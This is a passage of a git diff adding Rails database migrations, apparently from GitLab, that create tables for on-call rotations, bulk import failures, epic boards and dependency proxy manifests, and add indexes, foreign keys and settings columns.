+ add_text_limit :incident_management_oncall_schedules, :description, 1000
+ add_text_limit :incident_management_oncall_schedules, :timezone, 100
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :incident_management_oncall_schedules
+ end
+ end
+end
diff --git a/db/migrate/20201111145317_add_relation_to_indexes_view.rb b/db/migrate/20201111145317_add_relation_to_indexes_view.rb
new file mode 100644
index 00000000000..318b77c1dc6
--- /dev/null
+++ b/db/migrate/20201111145317_add_relation_to_indexes_view.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+class AddRelationToIndexesView < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ execute(<<~SQL)
+ DROP VIEW postgres_indexes;
+
+ CREATE VIEW postgres_indexes AS
+ SELECT (pg_namespace.nspname::text || '.'::text) || pg_class.relname::text AS identifier,
+ pg_index.indexrelid,
+ pg_namespace.nspname AS schema,
+ pg_class.relname AS name,
+ pg_indexes.tablename,
+ pg_index.indisunique AS "unique",
+ pg_index.indisvalid AS valid_index,
+ pg_class.relispartition AS partitioned,
+ pg_index.indisexclusion AS exclusion,
+ pg_index.indexprs IS NOT NULL as expression,
+ pg_index.indpred IS NOT NULL as partial,
+ pg_indexes.indexdef AS definition,
+ pg_relation_size(pg_class.oid::regclass) AS ondisk_size_bytes
+ FROM pg_index
+ JOIN pg_class ON pg_class.oid = pg_index.indexrelid
+ JOIN pg_namespace ON pg_class.relnamespace = pg_namespace.oid
+ JOIN pg_indexes ON pg_class.relname = pg_indexes.indexname
+ WHERE pg_namespace.nspname <> 'pg_catalog'::name
+ AND (pg_namespace.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name]));
+ SQL
+ end
+
+ def down
+ execute(<<~SQL)
+ DROP VIEW postgres_indexes;
+
+ CREATE VIEW postgres_indexes AS
+ SELECT (pg_namespace.nspname::text || '.'::text) || pg_class.relname::text AS identifier,
+ pg_index.indexrelid,
+ pg_namespace.nspname AS schema,
+ pg_class.relname AS name,
+ pg_index.indisunique AS "unique",
+ pg_index.indisvalid AS valid_index,
+ pg_class.relispartition AS partitioned,
+ pg_index.indisexclusion AS exclusion,
+ pg_index.indexprs IS NOT NULL as expression,
+ pg_index.indpred IS NOT NULL as partial,
+ pg_indexes.indexdef AS definition,
+ pg_relation_size(pg_class.oid::regclass) AS ondisk_size_bytes
+ FROM pg_index
+ JOIN pg_class ON pg_class.oid = pg_index.indexrelid
+ JOIN pg_namespace ON pg_class.relnamespace = pg_namespace.oid
+ JOIN pg_indexes ON pg_class.relname = pg_indexes.indexname
+ WHERE pg_namespace.nspname <> 'pg_catalog'::name
+ AND (pg_namespace.nspname = ANY (ARRAY["current_schema"(), 'gitlab_partitions_dynamic'::name, 'gitlab_partitions_static'::name]));
+ SQL
+ end
+end
diff --git a/db/migrate/20201112132808_create_bulk_import_failures.rb b/db/migrate/20201112132808_create_bulk_import_failures.rb
new file mode 100644
index 00000000000..cdc5a4d6ff0
--- /dev/null
+++ b/db/migrate/20201112132808_create_bulk_import_failures.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+class CreateBulkImportFailures < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ unless table_exists?(:bulk_import_failures)
+ create_table :bulk_import_failures do |t|
+ t.references :bulk_import_entity,
+ null: false,
+ index: true,
+ foreign_key: { on_delete: :cascade }
+
+ t.datetime_with_timezone :created_at, null: false
+ t.text :pipeline_class, null: false
+ t.text :exception_class, null: false
+ t.text :exception_message, null: false
+ t.text :correlation_id_value, index: true
+ end
+ end
+ end
+
+ add_text_limit :bulk_import_failures, :pipeline_class, 255
+ add_text_limit :bulk_import_failures, :exception_class, 255
+ add_text_limit :bulk_import_failures, :exception_message, 255
+ add_text_limit :bulk_import_failures, :correlation_id_value, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :bulk_import_failures
+ end
+ end
+end
diff --git a/db/migrate/20201112173532_add_verification_state_to_package_files.rb b/db/migrate/20201112173532_add_verification_state_to_package_files.rb
new file mode 100644
index 00000000000..61f526bd77e
--- /dev/null
+++ b/db/migrate/20201112173532_add_verification_state_to_package_files.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddVerificationStateToPackageFiles < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :packages_package_files, :verification_state, :integer, default: 0, limit: 2, null: false
+ add_column :packages_package_files, :verification_started_at, :datetime_with_timezone
+ end
+end
diff --git a/db/migrate/20201112173911_add_index_on_verification_state_on_package_files.rb b/db/migrate/20201112173911_add_index_on_verification_state_on_package_files.rb
new file mode 100644
index 00000000000..17e6b7d01f6
--- /dev/null
+++ b/db/migrate/20201112173911_add_index_on_verification_state_on_package_files.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexOnVerificationStateOnPackageFiles < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_packages_package_files_on_verification_state'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :packages_package_files, :verification_state, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :packages_package_files, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201112215028_add_partitioned_audit_event_indexes.rb b/db/migrate/20201112215028_add_partitioned_audit_event_indexes.rb
new file mode 100644
index 00000000000..d8b2833474b
--- /dev/null
+++ b/db/migrate/20201112215028_add_partitioned_audit_event_indexes.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class AddPartitionedAuditEventIndexes < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::PartitioningMigrationHelpers
+
+ DOWNTIME = false
+
+ CREATED_AT_AUTHOR_ID_INDEX_NAME = 'analytics_index_audit_events_part_on_created_at_and_author_id'
+ ENTITY_ID_DESC_INDEX_NAME = 'idx_audit_events_part_on_entity_id_desc_author_id_created_at'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_partitioned_index :audit_events_part_5fc467ac26,
+ [:created_at, :author_id],
+ name: CREATED_AT_AUTHOR_ID_INDEX_NAME
+
+ add_concurrent_partitioned_index :audit_events_part_5fc467ac26,
+ [:entity_id, :entity_type, :id, :author_id, :created_at],
+ order: { id: :desc },
+ name: ENTITY_ID_DESC_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_partitioned_index_by_name :audit_events_part_5fc467ac26, ENTITY_ID_DESC_INDEX_NAME
+
+ remove_concurrent_partitioned_index_by_name :audit_events_part_5fc467ac26, CREATED_AT_AUTHOR_ID_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201116090328_add_regulated_to_compliance_frameworks.rb b/db/migrate/20201116090328_add_regulated_to_compliance_frameworks.rb
new file mode 100644
index 00000000000..f2e0c23ccfc
--- /dev/null
+++ b/db/migrate/20201116090328_add_regulated_to_compliance_frameworks.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddRegulatedToComplianceFrameworks < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column(:compliance_management_frameworks, :regulated, :boolean, default: true, null: false)
+ end
+end
diff --git a/db/migrate/20201116211829_create_user_permission_export_uploads.rb b/db/migrate/20201116211829_create_user_permission_export_uploads.rb
new file mode 100644
index 00000000000..d6207fe0c2c
--- /dev/null
+++ b/db/migrate/20201116211829_create_user_permission_export_uploads.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class CreateUserPermissionExportUploads < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ unless table_exists?(:user_permission_export_uploads)
+ create_table :user_permission_export_uploads do |t|
+ t.timestamps_with_timezone null: false
+ t.references :user, foreign_key: { on_delete: :cascade }, index: false, null: false
+ t.integer :file_store
+ t.integer :status, limit: 2, null: false, default: 0
+ t.text :file
+
+ t.index [:user_id, :status]
+ end
+ end
+ end
+
+ add_text_limit :user_permission_export_uploads, :file, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :user_permission_export_uploads
+ end
+ end
+end
diff --git a/db/migrate/20201117054609_add_cloud_license_enabled_to_settings.rb b/db/migrate/20201117054609_add_cloud_license_enabled_to_settings.rb
new file mode 100644
index 00000000000..4488aa376a1
--- /dev/null
+++ b/db/migrate/20201117054609_add_cloud_license_enabled_to_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddCloudLicenseEnabledToSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :cloud_license_enabled, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20201117075742_change_webauthn_xid_length.rb b/db/migrate/20201117075742_change_webauthn_xid_length.rb
new file mode 100644
index 00000000000..2d836662e01
--- /dev/null
+++ b/db/migrate/20201117075742_change_webauthn_xid_length.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class ChangeWebauthnXidLength < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :webauthn_registrations, :credential_xid, 340, constraint_name: check_constraint_name(:webauthn_registrations, :credential_xid, 'max_length_v2')
+ remove_text_limit :webauthn_registrations, :credential_xid, constraint_name: check_constraint_name(:webauthn_registrations, :credential_xid, 'max_length')
+ end
+
+ def down
+ # no-op: Danger of failling if there are records with length(credential_xid) > 255
+ end
+end
diff --git a/db/migrate/20201117153333_add_index_on_package_size_and_project_id_to_project_statistics.rb b/db/migrate/20201117153333_add_index_on_package_size_and_project_id_to_project_statistics.rb
new file mode 100644
index 00000000000..efb5cf14d3c
--- /dev/null
+++ b/db/migrate/20201117153333_add_index_on_package_size_and_project_id_to_project_statistics.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIndexOnPackageSizeAndProjectIdToProjectStatistics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_project_statistics_on_packages_size_and_project_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :project_statistics, [:packages_size, :project_id],
+ name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :project_statistics, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201117184334_add_index_to_project_repositories_shard_id_project_id.rb b/db/migrate/20201117184334_add_index_to_project_repositories_shard_id_project_id.rb
new file mode 100644
index 00000000000..25d95231ac4
--- /dev/null
+++ b/db/migrate/20201117184334_add_index_to_project_repositories_shard_id_project_id.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddIndexToProjectRepositoriesShardIdProjectId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :project_repositories, [:shard_id, :project_id]
+ end
+
+ def down
+ remove_concurrent_index :project_repositories, [:shard_id, :project_id], name: 'index_project_repositories_on_shard_id_and_project_id'
+ end
+end
diff --git a/db/migrate/20201117203224_add_iteration_id_to_boards_table.rb b/db/migrate/20201117203224_add_iteration_id_to_boards_table.rb
new file mode 100644
index 00000000000..18abe096604
--- /dev/null
+++ b/db/migrate/20201117203224_add_iteration_id_to_boards_table.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIterationIdToBoardsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :boards, :iteration_id, :bigint
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :boards, :iteration_id
+ end
+ end
+end
diff --git a/db/migrate/20201117213024_add_iteration_id_index_to_boards_table.rb b/db/migrate/20201117213024_add_iteration_id_index_to_boards_table.rb
new file mode 100644
index 00000000000..e038b4eacd9
--- /dev/null
+++ b/db/migrate/20201117213024_add_iteration_id_index_to_boards_table.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIterationIdIndexToBoardsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_boards_on_iteration_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :boards, :iteration_id, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index :boards, :iteration_id, name: INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201118093135_create_namespace_onboarding_actions.rb b/db/migrate/20201118093135_create_namespace_onboarding_actions.rb
new file mode 100644
index 00000000000..6b38a0dddca
--- /dev/null
+++ b/db/migrate/20201118093135_create_namespace_onboarding_actions.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class CreateNamespaceOnboardingActions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ create_table :namespace_onboarding_actions do |t|
+ t.references :namespace, index: true, null: false, foreign_key: { on_delete: :cascade }
+ t.datetime_with_timezone :created_at, null: false
+ t.integer :action, limit: 2, null: false
+ end
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :namespace_onboarding_actions
+ end
+ end
+end
diff --git a/db/migrate/20201119031515_add_iteration_id_to_lists.rb b/db/migrate/20201119031515_add_iteration_id_to_lists.rb
new file mode 100644
index 00000000000..62e13f53e92
--- /dev/null
+++ b/db/migrate/20201119031515_add_iteration_id_to_lists.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddIterationIdToLists < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :lists, :iteration_id, :bigint
+ end
+end
diff --git a/db/migrate/20201119053603_add_iteration_lists_foreign_key.rb b/db/migrate/20201119053603_add_iteration_lists_foreign_key.rb
new file mode 100644
index 00000000000..8d9ec1f2e59
--- /dev/null
+++ b/db/migrate/20201119053603_add_iteration_lists_foreign_key.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddIterationListsForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_NAME = 'index_lists_on_iteration_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :lists, :iteration_id, name: INDEX_NAME
+ add_concurrent_foreign_key :lists, :sprints, column: :iteration_id, on_delete: :cascade
+ end
+
+ def down
+ remove_foreign_key_if_exists :lists, :sprints, column: :iteration_id
+ remove_concurrent_index_by_name :lists, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201119125730_add_web_hooks_service_foreign_key.rb b/db/migrate/20201119125730_add_web_hooks_service_foreign_key.rb
new file mode 100644
index 00000000000..d350a7de282
--- /dev/null
+++ b/db/migrate/20201119125730_add_web_hooks_service_foreign_key.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class AddWebHooksServiceForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_web_hooks_on_service_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :web_hooks, :service_id, name: INDEX_NAME
+ add_concurrent_foreign_key :web_hooks, :services, column: :service_id, on_delete: :cascade, validate: false
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key_if_exists :web_hooks, column: :service_id
+ end
+
+ remove_concurrent_index_by_name :web_hooks, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201119133534_add_personal_access_token_prefix_to_application_setting.rb b/db/migrate/20201119133534_add_personal_access_token_prefix_to_application_setting.rb
new file mode 100644
index 00000000000..c6bb6b7d514
--- /dev/null
+++ b/db/migrate/20201119133534_add_personal_access_token_prefix_to_application_setting.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class AddPersonalAccessTokenPrefixToApplicationSetting < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ # rubocop:disable Migration/AddLimitToTextColumns
+ # limit is added in 20201119133604_add_text_limit_to_application_setting_personal_access_token_prefix
+ def change
+ add_column :application_settings, :personal_access_token_prefix, :text
+ end
+ # rubocop:enable Migration/AddLimitToTextColumns
+end
diff --git a/db/migrate/20201119133604_add_text_limit_to_application_setting_personal_access_token_prefix.rb b/db/migrate/20201119133604_add_text_limit_to_application_setting_personal_access_token_prefix.rb
new file mode 100644
index 00000000000..a118da9e3e7
--- /dev/null
+++ b/db/migrate/20201119133604_add_text_limit_to_application_setting_personal_access_token_prefix.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class AddTextLimitToApplicationSettingPersonalAccessTokenPrefix < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :application_settings, :personal_access_token_prefix, 20
+ end
+
+ def down
+ remove_text_limit :application_settings, :personal_access_token_prefix
+ end
+end
diff --git a/db/migrate/20201119162801_change_services_inherit_from_id_foreign_key.rb b/db/migrate/20201119162801_change_services_inherit_from_id_foreign_key.rb
new file mode 100644
index 00000000000..a7f12fcf726
--- /dev/null
+++ b/db/migrate/20201119162801_change_services_inherit_from_id_foreign_key.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class ChangeServicesInheritFromIdForeignKey < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :services, :services, column: :inherit_from_id, on_delete: :cascade, name: 'fk_services_inherit_from_id'
+ remove_foreign_key_if_exists :services, name: 'fk_868a8e7ad6'
+ end
+
+ def down
+ remove_foreign_key_if_exists :services, name: 'fk_services_inherit_from_id'
+ add_concurrent_foreign_key :services, :services, column: :inherit_from_id, on_delete: :nullify, name: 'fk_868a8e7ad6'
+ end
+end
diff --git a/db/migrate/20201119164605_add_checksum_into_vulnerability_remediations.rb b/db/migrate/20201119164605_add_checksum_into_vulnerability_remediations.rb
new file mode 100644
index 00000000000..a9ac1ed0676
--- /dev/null
+++ b/db/migrate/20201119164605_add_checksum_into_vulnerability_remediations.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class AddChecksumIntoVulnerabilityRemediations < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :vulnerability_remediations, :checksum, :binary, null: false, comment: 'Stores the SHA256 checksum of the attached diff file' # rubocop:disable Rails/NotNullColumn
+
+ add_index :vulnerability_remediations, :checksum, unique: true # rubocop:disable Migration/AddIndex (Table is empty)
+ end
+end
diff --git a/db/migrate/20201119213406_change_terraform_versioning_enabled_default.rb b/db/migrate/20201119213406_change_terraform_versioning_enabled_default.rb
new file mode 100644
index 00000000000..490fe481589
--- /dev/null
+++ b/db/migrate/20201119213406_change_terraform_versioning_enabled_default.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class ChangeTerraformVersioningEnabledDefault < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_column_default :terraform_states, :versioning_enabled, from: false, to: true
+ end
+end
diff --git a/db/migrate/20201120125953_replace_unused_labels_index.rb b/db/migrate/20201120125953_replace_unused_labels_index.rb
new file mode 100644
index 00000000000..afddbce618d
--- /dev/null
+++ b/db/migrate/20201120125953_replace_unused_labels_index.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class ReplaceUnusedLabelsIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ NEW_INDEX_NAME = 'index_labels_on_group_id_and_title_with_null_project_id'
+ OLD_INDEX_NAME = 'index_labels_on_group_id_and_title'
+
+ def up
+ add_concurrent_index :labels, [:group_id, :title], where: 'project_id IS NULL', name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :labels, OLD_INDEX_NAME
+ end
+
+ def down
+ add_concurrent_index :labels, [:group_id, :title], where: 'project_id = NULL::integer', name: OLD_INDEX_NAME
+ remove_concurrent_index_by_name :labels, NEW_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20201123081307_add_operations_project_feature_to_metrics.rb b/db/migrate/20201123081307_add_operations_project_feature_to_metrics.rb
new file mode 100644
index 00000000000..6801b49fae5
--- /dev/null
+++ b/db/migrate/20201123081307_add_operations_project_feature_to_metrics.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddOperationsProjectFeatureToMetrics < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ with_lock_retries do
+ add_column :project_features, :operations_access_level, :integer, default: 20, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :project_features, :operations_access_level
+ end
+ end
+end
diff --git a/db/migrate/20201123161611_add_provisioned_by_group_to_user_details.rb b/db/migrate/20201123161611_add_provisioned_by_group_to_user_details.rb
new file mode 100644
index 00000000000..6e4d0e84509
--- /dev/null
+++ b/db/migrate/20201123161611_add_provisioned_by_group_to_user_details.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class AddProvisionedByGroupToUserDetails < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_user_details_on_provisioned_by_group_id'
+
+ disable_ddl_transaction!
+
+ def up
+ unless column_exists?(:user_details, :provisioned_by_group_id)
+ with_lock_retries { add_column(:user_details, :provisioned_by_group_id, :integer, limit: 8) }
+ end
+
+ add_concurrent_index :user_details, :provisioned_by_group_id, name: INDEX_NAME
+ add_concurrent_foreign_key :user_details, :namespaces, column: :provisioned_by_group_id, on_delete: :nullify
+ end
+
+ def down
+ with_lock_retries { remove_foreign_key_without_error :user_details, column: :provisioned_by_group_id }
+
+ remove_concurrent_index_by_name :user_details, INDEX_NAME
+
+ if column_exists?(:user_details, :provisioned_by_group_id)
+ with_lock_retries { remove_column(:user_details, :provisioned_by_group_id) }
+ end
+ end
+end
diff --git a/db/migrate/20201124030537_create_incident_management_on_call_rotations.rb b/db/migrate/20201124030537_create_incident_management_on_call_rotations.rb
new file mode 100644
index 00000000000..18546d97fd5
--- /dev/null
+++ b/db/migrate/20201124030537_create_incident_management_on_call_rotations.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+class CreateIncidentManagementOnCallRotations < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:incident_management_oncall_rotations)
+ with_lock_retries do
+ create_table :incident_management_oncall_rotations do |t|
+ t.timestamps_with_timezone
+ t.references :oncall_schedule, index: false, null: false, foreign_key: { to_table: :incident_management_oncall_schedules, on_delete: :cascade }
+ t.integer :length, null: false
+ t.integer :length_unit, limit: 2, null: false
+ t.datetime_with_timezone :starts_at, null: false
+ t.text :name, null: false
+
+ t.index %w(oncall_schedule_id id), name: 'index_inc_mgmnt_oncall_rotations_on_oncall_schedule_id_and_id', unique: true, using: :btree
+ t.index %w(oncall_schedule_id name), name: 'index_inc_mgmnt_oncall_rotations_on_oncall_schedule_id_and_name', unique: true, using: :btree
+ end
+ end
+ end
+
+ add_text_limit :incident_management_oncall_rotations, :name, 200
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :incident_management_oncall_rotations
+ end
+ end
+end
diff --git a/db/migrate/20201124075951_create_vulnerability_external_links.rb b/db/migrate/20201124075951_create_vulnerability_external_links.rb
new file mode 100644
index 00000000000..8200b15559b
--- /dev/null
+++ b/db/migrate/20201124075951_create_vulnerability_external_links.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityExternalLinks < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ create_table :vulnerability_external_issue_links, if_not_exists: true do |t|
+ t.timestamps_with_timezone null: false
+ t.references :author, null: false, index: true, foreign_key: { to_table: :users, on_delete: :nullify }, type: :bigint
+ t.references :vulnerability, null: false, index: true, type: :bigint
+ t.integer :link_type, limit: 2, null: false, default: 1 # 'created'
+ t.integer :external_type, limit: 2, null: false, default: 1 # 'jira'
+ t.text :external_project_key, null: false
+ t.text :external_issue_key, null: false
+
+ t.index %i[vulnerability_id external_type external_project_key external_issue_key],
+ name: 'idx_vulnerability_ext_issue_links_on_vulne_id_and_ext_issue',
+ unique: true
+ t.index %i[vulnerability_id link_type],
+ name: 'idx_vulnerability_ext_issue_links_on_vulne_id_and_link_type',
+ where: 'link_type = 1',
+ unique: true # only one 'created' link per vulnerability is allowed
+ end
+ end
+
+ add_concurrent_foreign_key :vulnerability_external_issue_links, :vulnerabilities, column: :vulnerability_id, on_delete: :cascade
+
+ add_text_limit :vulnerability_external_issue_links, :external_project_key, 255
+ add_text_limit :vulnerability_external_issue_links, :external_issue_key, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_external_issue_links
+ end
+ end
+end
diff --git a/db/migrate/20201125030847_create_dependency_proxy_manifests.rb b/db/migrate/20201125030847_create_dependency_proxy_manifests.rb
new file mode 100644
index 00000000000..6c1a3f23bf3
--- /dev/null
+++ b/db/migrate/20201125030847_create_dependency_proxy_manifests.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class CreateDependencyProxyManifests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ create_table :dependency_proxy_manifests, if_not_exists: true do |t|
+ t.timestamps_with_timezone
+ t.references :group, index: false, null: false, foreign_key: { to_table: :namespaces, on_delete: :cascade }, type: :bigint
+ t.bigint :size
+ t.integer :file_store, limit: 2
+ t.text :file_name, null: false
+ t.text :file, null: false
+ t.text :digest, null: false
+
+ t.index [:group_id, :digest], name: 'index_dependency_proxy_manifests_on_group_id_and_digest'
+ end
+ end
+
+ add_text_limit :dependency_proxy_manifests, :file_name, 255
+ add_text_limit :dependency_proxy_manifests, :file, 255
+ add_text_limit :dependency_proxy_manifests, :digest, 255
+ end
+
+ def down
+ drop_table :dependency_proxy_manifests
+ end
+end
diff --git a/db/migrate/20201125233219_add_incident_management_on_call_participants.rb b/db/migrate/20201125233219_add_incident_management_on_call_participants.rb
new file mode 100644
index 00000000000..2a9b1d8b276
--- /dev/null
+++ b/db/migrate/20201125233219_add_incident_management_on_call_participants.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class AddIncidentManagementOnCallParticipants < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ PARTICIPANT_ROTATION_INDEX_NAME = 'index_inc_mgmnt_oncall_participants_on_oncall_rotation_id'
+ PARTICIPANT_USER_INDEX_NAME = 'index_inc_mgmnt_oncall_participants_on_oncall_user_id'
+ UNIQUE_INDEX_NAME = 'index_inc_mgmnt_oncall_participants_on_user_id_and_rotation_id'
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:incident_management_oncall_participants)
+ with_lock_retries do
+ create_table :incident_management_oncall_participants do |t|
+ t.references :oncall_rotation, index: false, null: false, foreign_key: { to_table: :incident_management_oncall_rotations, on_delete: :cascade }
+ t.references :user, index: false, null: false, foreign_key: { on_delete: :cascade }
+ t.integer :color_palette, limit: 2, null: false
+ t.integer :color_weight, limit: 2, null: false
+ t.index :user_id, name: PARTICIPANT_USER_INDEX_NAME
+ t.index :oncall_rotation_id, name: PARTICIPANT_ROTATION_INDEX_NAME
+ t.index [:user_id, :oncall_rotation_id], unique: true, name: UNIQUE_INDEX_NAME
+ end
+ end
+ end
+ end
+
+ def down
+ drop_table :incident_management_oncall_participants
+ end
+end
diff --git a/db/migrate/20201126165919_add_epic_boards.rb b/db/migrate/20201126165919_add_epic_boards.rb
new file mode 100644
index 00000000000..432b839d6ea
--- /dev/null
+++ b/db/migrate/20201126165919_add_epic_boards.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class AddEpicBoards < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ create_table :boards_epic_boards do |t|
+ t.boolean :hide_backlog_list, default: false, null: false
+ t.boolean :hide_closed_list, default: false, null: false
+ t.references :group, index: true, foreign_key: { to_table: :namespaces, on_delete: :cascade }, null: false
+ t.timestamps_with_timezone
+ t.text :name, default: 'Development', null: false
+ end
+ end
+
+ add_text_limit :boards_epic_boards, :name, 255
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :boards_epic_boards
+ end
+ end
+end
diff --git a/db/migrate/20201126172030_add_feed_token_off_to_settings.rb b/db/migrate/20201126172030_add_feed_token_off_to_settings.rb
new file mode 100644
index 00000000000..04e05c9bd43
--- /dev/null
+++ b/db/migrate/20201126172030_add_feed_token_off_to_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddFeedTokenOffToSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :disable_feed_token, :boolean, null: false, default: false
+ end
+end
diff --git a/db/migrate/20201126190039_add_epic_board_labels.rb b/db/migrate/20201126190039_add_epic_board_labels.rb
new file mode 100644
